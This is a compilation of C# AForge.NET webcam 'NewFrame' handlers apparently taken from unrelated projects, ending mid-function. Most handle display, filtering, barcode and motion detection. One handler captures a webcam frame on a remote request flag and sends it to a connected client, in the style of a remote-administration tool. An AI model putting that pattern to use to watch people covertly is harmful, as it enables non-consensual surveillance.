void videoSource_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
lock (s)
{ this.pictureBox1.Image = (Image)eventArgs.Frame.Clone(); }
}
private void cam_NewFram(object sender, NewFrameEventArgs eventArgs)
{
Bitmap bit = (Bitmap)eventArgs.Frame.Clone();
pictureBoxPic.Image = bit;
//throw new NotImplementedException();
}
void videoSource_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
//Cast the frame as Bitmap object and don't forget to use ".Clone()" otherwise
//you'll probably get access violation exceptions
if (start)
{
pictureBoxVideo.BackgroundImage = (Bitmap)eventArgs.Frame.Clone();
var img = (Bitmap)eventArgs.Frame.Clone();
byte[] byteArray = null;
count--;
if (count < 0)
{
count = 20;
using (MemoryStream stream = new MemoryStream())
{
img.Save(stream, System.Drawing.Imaging.ImageFormat.Png);
stream.Close();
byteArray = stream.ToArray();
}
var res = EMO.getEmo(byteArray);
if (res.Length > 10)
{
dynamic data = JsonConvert.DeserializeObject(res);
lat = "" + data[0].scores.anger;
lht = "" + data[0].scores.happiness;
lnt = "" + data[0].scores.neutral;
lst = "" + data[0].scores.sadness;
lct = "" + data[0].scores.contempt;
lft = "" + data[0].scores.fear;
if (lat.Contains("E"))
{
lat = "000";
}
if (lht.Contains("E"))
{
lht = "000";
}
if (lnt.Contains("E"))
{
lnt = "000";
}
if (lst.Contains("E"))
{
lst = "000";
}
if (lct.Contains("E"))
{
lct = "000";
}
if (lft.Contains("E"))
{
lft = "000";
}
}
}
}
}
void cam_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
//Evento em que mostra o frame no picture box
Bitmap bit = (Bitmap)eventArgs.Frame.Clone();
pbCamera.Image = bit;
}
//------------------------------------------------------------------------------------------------------------------------
private void OnNewFrame(object sender, NewFrameEventArgs eventArgs)
{
// get new frame
Bitmap bitmap = eventArgs.Frame;
if (IsActive)
OnFrameCaptured(this, new VideoEventArgs(bitmap));
}
void captureDevice_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
using (UnmanagedImage uimage = UnmanagedImage.FromManagedImage(eventArgs.Frame))
{
try
{
using (Bitmap image = uimage.ToManagedImage())
{
IntPtr hBitMap = image.GetHbitmap();
try
{
BitmapSource bmaps = Imaging.CreateBitmapSourceFromHBitmap(hBitMap, IntPtr.Zero, Int32Rect.Empty, BitmapSizeOptions.FromEmptyOptions());
bmaps.Freeze();
Dispatcher.Invoke((Action)(() =>
{
pictureBoxMain.Source = bmaps;
}), DispatcherPriority.Render, null);
process.NewBitmap(image);
}
finally
{
DeleteObject(hBitMap);
}
}
}
catch (Exception ex)
{
ex.ToString();
}
}
}
void controller_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
if (!backproj)
{
Bitmap image = eventArgs.Frame;
if (image == null)
return;
if (parent.faceForm != null && !parent.faceForm.IsDisposed)
{
MatchingTracker matching = parent.faceForm.faceController.Tracker as MatchingTracker;
Rectangle rect = new Rectangle(
matching.TrackingObject.Center.X,
0,
image.Width - matching.TrackingObject.Center.X,
matching.TrackingObject.Center.Y);
rect.Intersect(new Rectangle(0, 0, image.Width, image.Height));
marker.Rectangles = new[] { matching.TrackingObject.Rectangle };
image = marker.Apply(image);
}
pictureBox.Image = image;
}
}
void NewFrame(object sender, NewFrameEventArgs eventArgs)
{
Bitmap bmp = eventArgs.Frame;
int index = Array.IndexOf(camIds, ((VideoCaptureDevice)sender).Source);
switch ( index )
{
case 0:
Dispatcher.Invoke(() => cam1Image.Source = (ImageSource)converter.Convert(bmp, null, null, null));
break;
case 1:
Dispatcher.Invoke(() => cam2Image.Source = (ImageSource)converter.Convert(bmp, null, null, null));
break;
case 2:
Dispatcher.Invoke(() => cam3Image.Source = (ImageSource)converter.Convert(bmp, null, null, null));
break;
case 3:
Dispatcher.Invoke(() => cam4Image.Source = (ImageSource)converter.Convert(bmp, null, null, null));
break;
case 4:
Dispatcher.Invoke(() => cam5Image.Source = (ImageSource)converter.Convert(bmp, null, null, null));
break;
case 5:
Dispatcher.Invoke(() => cam6Image.Source = (ImageSource)converter.Convert(bmp, null, null, null));
break;
case 6:
Dispatcher.Invoke(() => cam7Image.Source = (ImageSource)converter.Convert(bmp, null, null, null));
break;
case 7:
Dispatcher.Invoke(() => cam8Image.Source = (ImageSource)converter.Convert(bmp, null, null, null));
break;
case 8:
Dispatcher.Invoke(() => cam9Image.Source = (ImageSource)converter.Convert(bmp, null, null, null));
break;
}
}
private void video_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
// get new frame
Bitmap bitmap = eventArgs.Frame;
Bitmap imediateDraw = new Bitmap(bitmap, new Size(pictureBox2.Width, pictureBox2.Height));
pictureBox2.Invoke((Action)delegate()
{
if (pictureBox2.Image != null)
{
pictureBox2.Image.Dispose();
}
pictureBox2.Image = imediateDraw;
});
Bitmap clone = new Bitmap(bitmap.Width, bitmap.Height, System.Drawing.Imaging.PixelFormat.Format24bppRgb);
using (Graphics gr = Graphics.FromImage(clone))
{
gr.DrawImage(bitmap, new Point(0, 0));
}
processor.Image = clone;
bitmap.Dispose();
}
private void _videoCaptureDevice_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
Bitmap bitmap = (Bitmap)eventArgs.Frame.Clone();
CameraFrameEventArgs args = new CameraFrameEventArgs(bitmap);
OnCameraFrame(args);
bitmap.Dispose();
}
private void video_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
// get new frame
pictureBox1.Image = (Bitmap)eventArgs.Frame.Clone();
// process the frame
}
void FinalVideo_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
Icon newIcon = new Icon(@"c:\users\gregster\documents\visual studio 2012\Projects\WebCamTrack\WebCamTrack\bin\Debug\favicon.ico");
BlobCounter bc = new BlobCounter();
EuclideanColorFiltering filter = new EuclideanColorFiltering();
Bitmap video = (Bitmap)eventArgs.Frame.Clone();//sem filtro
Bitmap video1 = (Bitmap)eventArgs.Frame.Clone();// imagem com filtro
//
filter.CenterColor = new RGB(0, 0, 0);
filter.Radius = 100;
filter.ApplyInPlace(video1);//aplicando o filtro
bc.MinWidth = 5;
bc.MinHeight = 5;
bc.FilterBlobs = true;
// bc.ObjectsOrder = ObjectsOrder.Size;
bc.ProcessImage(video1);// processando a imagem que ja foi filtrada para identificar objetos
Rectangle[] rects = bc.GetObjectsRectangles();
foreach (Rectangle recs in rects)
if (rects.Length > 0)
{
Rectangle objectRect = rects[0];
Graphics g = Graphics.FromImage(video);//identificar objetos a partir da imagem com filtro
Graphics h = Graphics.FromImage(video1);
using (Pen pen = new Pen(Color.FromArgb(160, 255, 160), 5))
{
g.DrawIcon(newIcon, objectRect);
// g.DrawRectangle(pen, objectRect);
h.DrawRectangle(pen, objectRect);
}
g.Dispose();
h.Dispose();
}
pictureBox1.Image = video;
pictureBox2.Image = video1;
}
//Handler for event NewFrame in videoCaptureDevice
private void VideoCaptureDevice_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
if (_reader.ActivateBool)
{
//Gets the image from eventArgs
Bitmap bitmap = (Bitmap)eventArgs.Frame.Clone();
//scan for barcode in image
string barcode = _reader.GetBarcode(bitmap);
//If a barcode was found
if (barcode != null)
{
BarcodeFound(new BarcodeFoundEventArgs {
Barcode = barcode
});
_reader.Deactivate();
_timer.Enable();
}
//invoke new action on main thread, because camera uses it own thread
Application.Current.Dispatcher.BeginInvoke(new Action(() => { CameraFeed = Convert(bitmap); }));
Application.Current.Dispatcher.BeginInvoke(new Action(() => { CameraFeed.Freeze(); }));
}
}
private void video_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
try
{
BitmapImage bi;
using (var bitmap = (Bitmap)eventArgs.Frame.Clone())
{
bi = bitmap.ToBitmapImage();
if (snap)
{
//settingn folder for pulling up image already saved (in assests folder)
var imagePath = System.IO.Path.Combine(root, "../../Evaluated/");
string cameraPic = imagePath + "evaluated.jpg";
bitmap.Save(cameraPic);
snap = false;
}
}
bi.Freeze(); // avoid cross thread operations and prevents leaks
Dispatcher.BeginInvoke(new ThreadStart(delegate { videoPlayer.Source = bi; }));
}
catch (Exception exc)
{
MessageBox.Show("Error on _videoSource_NewFrame:\n" + exc.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
StopCamera();
}
}
void device_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
Bitmap shoot = eventArgs.Frame.Clone() as Bitmap;
try
{
frameCounter++;
if (frameCounter > 10)
{
invoices = invoiceProcess.GetInvoiceCollection(shoot);
frameCounter = 0;
}
if (invoices != null && invoices.Count > 0)
{
using (Graphics graph = Graphics.FromImage(shoot))
{
foreach (Invoice invoice in invoices)
{
graph.DrawPolygon(pen, invoice.Corners); //Draw a polygon around card
PointF point = invoiceProcess.GetStringPoint(invoice.Corners); //Find Top left corner
point.Y += 10;
graph.DrawString(invoice.Code == null ? "" : invoice.Code, font, Brushes.Lime, point); //Write string on card
}
}
}
//Draw Rectangle around cards and write card strings on card
}
catch (Exception ex)
{
File.AppendAllText("e:\\error.txt", ex.Message);
throw;
}
pb_Cinema.Image = ResizeShoot(shoot);
}
void videoSource_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
System.Drawing.Bitmap bmp = (System.Drawing.Bitmap)eventArgs.Frame.Clone();
string fullPath = g_Path + "temp\\";
if (!Directory.Exists(fullPath))
{
Directory.CreateDirectory(fullPath);
}
// saved = saved++;
string img = fullPath + "temp" + saved + ".jpeg";
//try
// {
Stream imageFileStream = File.Open(img, FileMode.OpenOrCreate, FileAccess.ReadWrite);
bmp.Save(imageFileStream, System.Drawing.Imaging.ImageFormat.Jpeg);
imageFileStream.Flush();
imageFileStream.Close();
imageFileStream.Dispose();
// }
// catch (Exception) { ;}
flag = true;
imageFilePath = img;
Console.WriteLine(imageFilePath);
videoSource.NewFrame -= new NewFrameEventHandler(videoSource_NewFrame);
}
private void video_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
try
{
BitmapImage bi;
using (var frame = (Bitmap)eventArgs.Frame.Clone())
{
var width = frame.Width;
var height = frame.Height;
// try overlay
Bitmap bitmapResult = new Bitmap(width, height, frame.PixelFormat);
Graphics g = Graphics.FromImage(bitmapResult);
g.DrawImage(frame, 0, 0, width, height);
// apply raster
g.DrawImage(_raster, 0, 0, width, height);
// apply logo
//g.DrawImage(_logo, width - 175, 25, 150, 121);
bi = bitmapResult.ToBitmapImage();
// TODO: Add frame to some output video stream
}
bi.Freeze(); // avoid cross thread operations and prevents leaks
Dispatcher.BeginInvoke(new ThreadStart(delegate { imgPreview.Source = bi; }));
}
catch (Exception exc)
{
MessageBox.Show("Error on _videoSource_NewFrame:\n" + exc.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
StopCamera();
}
}
private void FinalVideoSource_NewFrame2(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
Bitmap image = (Bitmap)eventArgs.Frame.Clone();
if (detector.ProcessFrame(image) > 1)
{
pictureBox1.Image = image;
}
pictureBox1.Image = image;
int X = 0;
int Y = 0;
try
{
BlobCountingObjectsProcessing countingDetector = (BlobCountingObjectsProcessing)detector.MotionProcessingAlgorithm;
foreach (Rectangle rect in countingDetector.ObjectRectangles)
{
X += rect.X;
Y += rect.Y;
}
SumX = X / countingDetector.ObjectRectangles.Length;
SumY = Y / countingDetector.ObjectRectangles.Length;
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
/// <summary>
/// New frame handler.
/// </summary>
/// <param name="sender"></param>
/// <param name="eventArgs"></param>
private void videoDevice_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
lock (this.syncLockVideo)
{
// Dispose last frame.
if (this.capturedImage != null)
{
this.capturedImage.Dispose();
this.capturedImage = null;
}
// Clone the resized content.
if ((this.pbCamera.Size.Width > 1 && this.pbCamera.Size.Height > 1) && this.WindowState != FormWindowState.Minimized)
{
this.capturedImage = Utils.ResizeImage((Bitmap)eventArgs.Frame.Clone(), this.pbCamera.Size);
}
// Exit there is a problem with data cloning.
if (this.capturedImage == null)
{
return;
}
this.ProcessImage(this.capturedImage);
}
}
private void videoNewFrame(object sender, NewFrameEventArgs args)
{
Bitmap temp = args.Frame.Clone() as Bitmap;
try
{
frameCounter++;
if (frameCounter > 10)
{
cards = recognizer.Recognize(temp);
frameCounter = 0;
}
//Draw Rectangle around cards and write card strings on card
using (Graphics graph = Graphics.FromImage(temp))
{
foreach (Card card in cards)
{
graph.DrawPolygon(pen, card.Corners); //Draw a polygon around card
PointF point = CardRecognizer.GetStringPoint(card.Corners); //Find Top left corner
point.Y += 10;
graph.DrawString(card.ToString(), font, Brushes.White, point); //Write string on card
}
}
}
catch { }
this.pictureBox1.Image = ResizeBitmap(temp);
}
void cam_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
//pictureBox1.Image = (Bitmap)eventArgs.Frame.Clone();
Bitmap sourceImage = (Bitmap)eventArgs.Frame.Clone();
pictureBox1.Image = ApplyRGBFilter(sourceImage); //Applying filter and show in picture box
}
void cam_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
video1 = (Bitmap)eventArgs.Frame.Clone();
video2 = (Bitmap)eventArgs.Frame.Clone();
bool isChecked = radioButton1.Checked;
if (isChecked)
{
trackBar3.Enabled = true;
trackBar4.Enabled = true;
trackBar5.Enabled = true;
trackBar6.Enabled = true;
trackBar7.Enabled = true;
trackBar8.Enabled = true;
Rgb_obj.ApplyRGB(video2, minR, maxR, minG, maxG, minB, maxB); // Apply Rgb Filter
}
else
{
FACE_DECTECTION.Face_Detection(video2); // Apply Face detection filter
}
grayScale_Image = gray_obj.Apply_grayscale(video2); // Apply GrayScale Filter
Blob_Detection.blob_setter(video1 ,grayScale_Image, 10, 10);
pictureBox1.Image = video2;
pictureBox2.Image = video1;
}
void videoSource_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
log.Debug("videoSource_NewFrame: Received a frame from the File video source");
lock (InstanceImageDispose)
{
// log.Debug("videoSource_NewFrame: Considering disposal of previous Images");
if (InstanceGray != null)
{
// log.Debug("videoSource_NewFrame: Disposing of previous Gray frame");
InstanceGray.Dispose();
InstanceGray = null;
}
else
{
// log.Debug("videoSource_NewFrame: No InstanceGray exists, no need to Dispose of it");
}
}
log.Debug("videoSource_NewFrame: Converting to a new Gray");
// InstanceGray = new Image<Gray, byte>((Bitmap)eventArgs.Frame.Clone());
InstanceGray = new Image <Gray, byte>((Bitmap)eventArgs.Frame);
log.Debug("videoSource_NewFrame: Finished converting to a new Gray");
// notify about the new frame
log.Debug("videoSource_NewFrame: Built Raising NewFrame event");
ImageEventArgs imageEventArgs = new ImageEventArgs(InstanceGray);
OnRaiseCustomEvent(imageEventArgs);
log.Debug("videoSource_NewFrame: Event complete");
}
//eventhandler if new frame is ready
private void Video_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
cameraImage = (Bitmap)eventArgs.Frame.Clone();
//do processing here
}
private void mjpegSource_NewFrame(object sender, NewFrameEventArgs eventArgs) {
ImageSource IS = (ImageSource)converter.Convert(eventArgs.Frame, null, null, null);
IS.Freeze();
Dispatcher.BeginInvoke(new ThreadStart(delegate {
videoImage.Source = IS;
IS = null;
}));
}
private void Frame_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
try
{
ptxWebCam.Image = (Image)eventArgs.Frame.Clone();
}
catch (Exception ex) { }
}
private void webCam_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
pictureBox1.BackgroundImage = (Bitmap)eventArgs.Frame.Clone();
if (saveVideo != null)
{
saveVideo.AddFrame((Bitmap)eventArgs.Frame.Clone());
}
}
private void videoSource_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
Bitmap newBmp;
newBmp = (Bitmap)eventArgs.Frame; //recieve new frame from webcam and convert into Bitmap
latestBmp = CopyBMP(newBmp);
bitmapFlag = true;
}
private void camNewFrame(object sender, NewFrameEventArgs args)
{
lock (imgLock)
{
currentFrame = (Bitmap)args.Frame.Clone();
imageAvailable = true;
}
}
private void NewFrameHandler(object sender, NewFrameEventArgs eventArgs)
{
Bitmap bitmap = (Bitmap)eventArgs.Frame.Clone();
FastBitmap sobelBitmap = new FastBitmap(bitmap);
FastBitmap fastBitmap = new FastBitmap(bitmap);
Harries dummy = new Harries();
byte[] gray = fastBitmap.GrayPixels;
var ps = dummy.Corner(gray, fastBitmap.Width, fastBitmap.Height);
int r = 1;
var size = new Size(r, r);
foreach(Point p in ps)
{
using (Graphics g = Graphics.FromImage(bitmap))
{
g.DrawRectangle(Pens.Coral, new System.Drawing.Rectangle(p, size));
}
}
//for (int i = 0; i < filters.Length; i++)
//{
// filters[0].DoFilter(fastBitmap);
//}
//Parallel.For(0, fastBitmap.Width, i =>
// {
// for (int j = 0; j < fastBitmap.Height; j++)
// {
// int difference = notModifiedBitmap[i, j] - fastBitmap[i, j];
// fastBitmap[i, j] = difference > 0 ? (byte)difference : (byte)0;
// }
// });
List<System.Drawing.Rectangle> result = detector.getElements(fastBitmap, 1, 1.25f, 0.1f, 2, defaultRect);
foreach(System.Drawing.Rectangle rect in result)
{
System.Drawing.Rectangle nRect = rect;
nRect.Height /= 2;
List<System.Drawing.Rectangle> eyeResult = eyeDetector.getElements(fastBitmap, 1, 1.25f, 0.1f, 1, nRect);
using (Graphics g = Graphics.FromImage(bitmap))
{
if (eyeResult.Count > 1)
{
filters[1].DoFilter(sobelBitmap);
SobelDetektor det = (SobelDetektor)filters[1];
g.DrawRectangles(Pens.Blue, eyeResult.ToArray());
foreach ( var eye in eyeResult)
{
System.Drawing.Rectangle pupil = searcher.FindPupil(sobelBitmap, eye, det.Angulars);
g.DrawEllipse(Pens.Red, pupil);
}
}
}
};
using (Graphics g = Graphics.FromImage(bitmap))
{
if (result.Count > 0) g.DrawRectangles(Pens.GreenYellow, result.ToArray());
}
pictureBox1.Image = bitmap;
}
void screenSource_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
//Cast the frame as Bitmap object and don't forget to use ".Clone()" otherwise
//you'll probably get access violation exceptions
Bitmap bm = (Bitmap)eventArgs.Frame.Clone();
Dispatcher.BeginInvoke(new UpdateUserScreenCallback(UpdateSceernSource), new object[] { bm });
}
void _device_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
Bitmap bmp = eventArgs.Frame;
FoundColorSpaces colorSpaces = ColorSpaceFinder.Find(bmp);
FoundBlobs foundBlobs = BlobFinder.Find(colorSpaces, 80, 25, 90, 50, 1.2, 2.2);
foreach(Blob blob in foundBlobs.Blobs)
{
Bitmap correctedBlobBitmap = ColorSpaceFinder.FindColorCorrectedForBlob(colorSpaces, blob);
ColorTypeEnum color = ColorSpaceFinder.FindShapeColor(correctedBlobBitmap,
_red, _green, _purple);
System.Drawing.Pen pen = null;
switch(color)
{
case ColorTypeEnum.Green:
pen = new System.Drawing.Pen(System.Drawing.Brushes.Green, 5);
break;
case ColorTypeEnum.Red:
pen = new System.Drawing.Pen(System.Drawing.Brushes.Red, 5);
break;
case ColorTypeEnum.Purple:
pen = new System.Drawing.Pen(System.Drawing.Brushes.Purple, 5);
break;
case ColorTypeEnum.Unknown:
pen = new System.Drawing.Pen(System.Drawing.Brushes.Yellow, 5);
break;
}
using(Graphics g = Graphics.FromImage(bmp))
{
g.DrawRectangle(pen, blob.Rectangle);
}
}
BitmapData bmd = bmp.LockBits(
new System.Drawing.Rectangle(0, 0, bmp.Width, bmp.Height),
ImageLockMode.ReadWrite,
bmp.PixelFormat);
byte[] bytes = new byte[bmd.Stride * bmd.Height];
Marshal.Copy(bmd.Scan0, bytes, 0, bytes.Length);
Dispatcher.Invoke((Action)delegate()
{
if (_bmp == null)
{
_bmp = new WriteableBitmap(bmp.Width, bmp.Height, 96, 96, PixelFormats.Bgr24, null);
VideoWindow.Source = _bmp;
}
_bmp.WritePixels(new Int32Rect(0, 0, bmp.Width, bmp.Height), bytes, bmd.Stride, 0);
});
return;
}
void videoSource_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
Bitmap bmp = (Bitmap)eventArgs.Frame.Clone();
frame_rgb = new Image <Bgr, byte>(bmp);
frame_rgb = GetStandandSize(frame_rgb);
CvInvoke.cvFlip(frame_rgb.Ptr, IntPtr.Zero, FLIP.HORIZONTAL);
DispatchImage.Instance.Dispath(frame_rgb.Copy());
}
void localSource_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
byte[] jpegImage = Bitmap2JpegArray(eventArgs.Frame);
Dispatcher.Invoke(() => primaryImageBox.Source = ByteImageConverter.ByteToImage(jpegImage));
string sizeString = "SIZE:" + jpegImage.Length + "Z";
byte[] startMessage = Encoding.ASCII.GetBytes(sizeString);
clientSocket.Send(startMessage, startMessage.Length, SocketFlags.None);
clientSocket.Send(jpegImage, jpegImage.Length, SocketFlags.None);
}
private void VideoCaptureDevice_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
Bitmap bitmap = (Bitmap)eventArgs.Frame.Clone();
BarcodeReader reader = new BarcodeReader();
var result = reader.Decode(bitmap);
if (result != null)
{
textBox1.Invoke(new MethodInvoker(delegate()
{
textBox1.Text = result.ToString();
}));
SoundPlayer player = new SoundPlayer("Data\\scanner.wav");
player.Play();
if (result.ToString() == "4356-3964")
{
// Create a new string called 'arr' with a new string[4].
string[] arr = new string[4];
// Set the first one to the items combobox selected item then to string.
arr[0] = "Strawberry Macaron";
// Set the second one to the price.
arr[1] = "3";
// Set the third one to the quanity.
arr[2] = "1";
// Set the last one to the total.
arr[3] = "3";
// Create ListViewItem called 'lvi' and create a new ListViewItem with the 'arr' variable.
ListViewItem lvi = new ListViewItem(arr);
// Add the 'lvi' items to the list view.
lvItems.Invoke(new MethodInvoker(delegate()
{
lvItems.Items.Add(lvi);
}));
// Make the sub total the sub total minus the total then to string.
tbSubTotal.Invoke(new MethodInvoker(delegate()
{
tbSubTotal.Text = (Convert.ToInt32(tbSubTotal.Text) + Convert.ToInt32("3")).ToString();
}));
}
if (videoCaptureDevice != null)
{
if (videoCaptureDevice.IsRunning)
{
videoCaptureDevice.SignalToStop();
}
}
}
pictureBox1.Image = bitmap;
}
private void FinalFrame_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
try
{
picVideo.Image = (Bitmap)eventArgs.Frame.Clone();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private void newFrameEvent(object sender, NewFrameEventArgs eventArgs)
{
DateTime currentTime = DateTime.Now;
Graphics graphics = Graphics.FromImage(eventArgs.Frame);
TextRenderer.DrawText(graphics, currentTime.ToString("dd/mm/yyyy hh:mm:ss"), font, new Point(5, 5),
Color.White, Color.Black);
if (recorder != null)
{
recorder.AddFrame(eventArgs.Frame);
}
}
private void videoSource_NewFrame(object sender, AForge.Video.NewFrameEventArgs e)
{
double ellapsed = frameStopwatch.ElapsedMilliseconds;
if (frameStopwatch.IsRunning)
{
lock (averageFramePeriod)
averageFramePeriod.Enqueue(ellapsed);
}
frameStopwatch.Restart();
InvokeNewFrame(e.Frame);
}
void _videoSource_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
if (!_takePicture) return;
if (eventArgs.Frame.Width == 0)
{
return;
}
_frame = eventArgs.Frame.Clone() as Bitmap;
_videoSource.SignalToStop();
}
void novoFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
//Obtém o frame como BITMAP como um ".Clone()"
if (bitmapsQueue.Count <= 5)
{
auxBitmap = (Bitmap)eventArgs.Frame.Clone();
bitmapsQueue.Add((Bitmap)eventArgs.Frame.Clone());
bitmapsCanUse.Add(true);
queueCount++;
}
canUse = true;
}
private void VideoSource_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
if (eventArgs.Frame != null)
{
Bitmap bmp = (Bitmap)eventArgs.Frame.Clone();
Rectangle bmpRect = new Rectangle(0, 0, bmp.Width, bmp.Height);
System.Drawing.Imaging.BitmapData bmpData = bmp.LockBits(bmpRect, System.Drawing.Imaging.ImageLockMode.ReadWrite, bmp.PixelFormat);
AForge.Imaging.Drawing.Rectangle(bmpData, new Rectangle(10, 10, 100, 100), Color.Green);
bmp.UnlockBits(bmpData);
pictureBox1.Image = bmp;
}
}
/// <summary>
/// Frame received callback
/// </summary>
/// <param name="sender"></param>
/// <param name="eventArgs"></param>
private void video_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
try
{
BitmapImage bi;
using (var bitmap = (Bitmap)eventArgs.Frame.Clone())
{
// Here we choose what image to display
if (ColorFiltered)
{
new EuclideanColorFiltering(new AForge.Imaging.RGB((byte)Red, (byte)Green, (byte)Blue), Radius).ApplyInPlace(bitmap);
}
if (Grayscaled)
{
using (var grayscaledBitmap = Grayscale.CommonAlgorithms.BT709.Apply(bitmap))
{
bi = grayscaledBitmap.ToBitmapImage();
}
}
else if (Thresholded)
{
using (var grayscaledBitmap = Grayscale.CommonAlgorithms.BT709.Apply(bitmap))
using (var thresholdedBitmap = new Threshold(Threshold).Apply(grayscaledBitmap))
{
if (Inverted)
{
new Invert().ApplyInPlace(thresholdedBitmap);
}
bi = thresholdedBitmap.ToBitmapImage();
}
}
else // original
{
var corners = FindCorners(bitmap);
if (corners.Any())
{
PaintCorners(corners, bitmap);
}
bi = bitmap.ToBitmapImage();
}
}
bi.Freeze(); // avoid cross thread operations and prevents leaks
Dispatcher.BeginInvoke(new ThreadStart(delegate { videoPlayer.Source = bi; }));
}
catch (Exception exc)
{
MessageBox.Show("Error on _videoSource_NewFrame:\n" + exc.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
StopCamera();
}
}
private void OnNewFrame(object sender, NewFrameEventArgs eventArgs){
if (DrawCursor){
using (var g = Graphics.FromImage(eventArgs.Frame)) {
Win32Declares.MouseCursor.CURSORINFO pci;
pci.cbSize = Marshal.SizeOf(typeof(Win32Declares.MouseCursor.CURSORINFO));
if (Win32Declares.MouseCursor.GetCursorInfo(out pci)) {
if (pci.flags == Win32Declares.MouseCursor.CURSOR_SHOWING) {
Win32Declares.MouseCursor.DrawIcon(g.GetHdc(), pci.ptScreenPos.x, pci.ptScreenPos.y, pci.hCursor);
g.ReleaseHdc();
}
}
}
}
}
private static void video_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
// get new frame
Bitmap bitmap = eventArgs.Frame;
if (detector.ProcessFrame(bitmap) > 0.05)
{
imageCount++;
string filename = "c:\\temp\\" + DateTime.UtcNow.ToFileTimeUtc() + ".png";
bitmap.Save(filename, ImageFormat.Png);
Trace.WriteLine(string.Format("Image saved - {0}", imageCount));
}
}
private void cam_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
try
{
Bitmap bit = (Bitmap)eventArgs.Frame.Clone(); // get a copy of the BitMap from the VideoCaptureDevice
if (!this.isResolutionSet)
{
// this is run once to set the resolution for the VideoRecorder
this.imgWidth = bit.Width;
this.imgHeight = bit.Height;
this.isResolutionSet = true;
}
this.Display.Image = (Bitmap)bit.Clone(); // displays the current frame on the main form
if ( !this.motionDetected)
{
// if motion detection is enabled and there werent any previous motion detected
Bitmap bit2 = (Bitmap)bit.Clone(); // clone the bits from the current frame
if (md.ProcessFrame(bit2) > 0.001) // feed the bits to the MD
{
if (this.calibrateAndResume > 3)
{
Thread th = new Thread(MotionReaction);
th.Start(); // start the motion reaction thread
}
else this.calibrateAndResume++;
}
}
if (IsRecording)
{
// if recording is enabled we enqueue the current frame to be encoded to a video file
Graphics gr = Graphics.FromImage(bit);
Pen p = new Pen(Color.Red);
p.Width = 5.0f;
using (Font myFont = new Font("Tahoma", 10, FontStyle.Bold))
{
gr.DrawString(DateTime.Now.ToString(), myFont, Brushes.Red, new Point(2, 2));
}
frames.Enqueue((Bitmap)bit.Clone());
}
}
catch (InvalidOperationException ex) { }
}
private void Sec_Click(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
Bitmap image = (Bitmap)eventArgs.Frame.Clone();
Bitmap image1 = (Bitmap)eventArgs.Frame.Clone();
pictureBox1.Image = image;
Sec.Enabled = true;
if (true)
{
AForge.Imaging.Filters.EuclideanColorFiltering filter = new AForge.Imaging.Filters.EuclideanColorFiltering();
filter.CenterColor = new AForge.Imaging.RGB(Color.FromArgb(215, 0, 0));
filter.Radius = 100;
filter.ApplyInPlace(image1);
nesnebul(image1);
}
}
void videoSource_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
Bitmap bmp = (Bitmap)eventArgs.Frame.Clone();
string fullPath = path;
if (!Directory.Exists(fullPath))
{
Directory.CreateDirectory(fullPath);
}
string img = fullPath + DateTime.Now.ToString("yyyyMMdd hhmmss") + ".jpg";
images.Add(img);
bmp.Save(img);
//如果这里不写这个，一会儿会不停的拍照，
videoSource.NewFrame -= new NewFrameEventHandler(videoSource_NewFrame);
}
private static void FinalVideo_NewFrame(object sender, NewFrameEventArgs e)
{
if (!WebcamStarted)
FinalVideo.Stop();
if (NeedsCapture)
{
var image = (Bitmap) e.Frame.Clone();
using (var stream = new MemoryStream())
{
image.Save(stream, ImageFormat.Bmp);
new GetWebcamResponse(stream.ToArray(), Webcam).Execute(Client);
stream.Close();
}
NeedsCapture = false;
}
}
void videoSource_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
//Cast the frame as Bitmap object and don't forget to use ".Clone()" otherwise
//you'll probably get access violation exceptions
//pictureBoxVideo.BackgroundImage = (Bitmap)eventArgs.Frame.Clone();
Bitmap barcodeBitmap = (Bitmap)eventArgs.Frame.Clone();
if (ExtractQRCodeMessageFromImage(barcodeBitmap) == "yJz1X")
{
if (!System.IO.File.Exists("C:\\Users\\joach\\OVERRIDE"))
{
approved = true;
Exit();
}
}
}
private void newFrameEvent(object sender, NewFrameEventArgs eventArgs)
{
